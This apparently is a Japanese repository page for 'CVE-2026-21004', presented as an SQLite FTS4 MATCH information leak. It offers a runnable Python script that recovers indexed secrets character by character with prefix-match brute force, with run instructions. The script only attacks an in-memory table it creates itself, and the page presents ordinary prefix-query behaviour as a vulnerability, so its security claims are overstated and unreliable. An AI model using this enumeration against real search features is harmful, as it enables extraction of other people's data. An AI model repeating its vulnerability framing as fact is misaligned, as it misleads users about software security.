CVE-2026-21004 – クエリ作成によるSQLite FTS3 Match情報漏洩

プログラムコード（Python）

# sqlite_fts_leak.py - Creates FTS table and exploits match info
import sqlite3

conn = sqlite3.connect(':memory:')
conn.execute("CREATE VIRTUAL TABLE secrets USING fts4(content TEXT)")
conn.execute("INSERT INTO secrets VALUES ('admin:password123')")
conn.execute("INSERT INTO secrets VALUES ('user:secret456')")

# Attacker guesses characters using FTS MATCH with partial matching
def guess_char(prefix, known):
    for c in "abcdefghijklmnopqrstuvwxyz0123456789_:":
        query = f'SELECT * FROM secrets WHERE content MATCH ?'
        # In FTS4, MATCH can leak whether a term exists; we abuse by searching column directly
        try:
            cur = conn.execute(query, (f'"{prefix}{c}*"',))
            if cur.fetchone():
                return c
        except:
            pass
    return None

# Recover the secret character by character
prefix = ""
for _ in range(20):
    c = guess_char(prefix, "")
    if c is None: break
    prefix += c
print(f"Recovered: {prefix}")

CVE-2026-21004 – SQLite FTS3/4 Match情報漏洩

概要

SQLite FTS4を使用するアプリケーションは、MATCHクエリに基づいて結果を返す検索機能を公開しています。一致するかどうか（またはタイミングの差）を観察することで、攻撃者は全文インデックスの内容を1文字ずつブルートフォースし、機密データを抽出できます。

脆弱性の詳細

タイプ: 情報漏洩 / ブラインドインジェクション
影響: インデックス化されたカラムからのデータ外部流出。
根本原因: FTS MATCH演算子はプレフィックスクエリ（term*）をサポートしており、攻撃者は完全な用語を知らなくても辞書攻撃を実行できます。

エクスプロイトのデモ

エクスプロイトを実行します：

python sqlite_fts_leak.py

このスクリプトは、secretsテーブルの内容を段階的に復元します。

CVE-2026-21004-SQLite-FTS3-Match-Infoleak-via-Query-Crafting

人気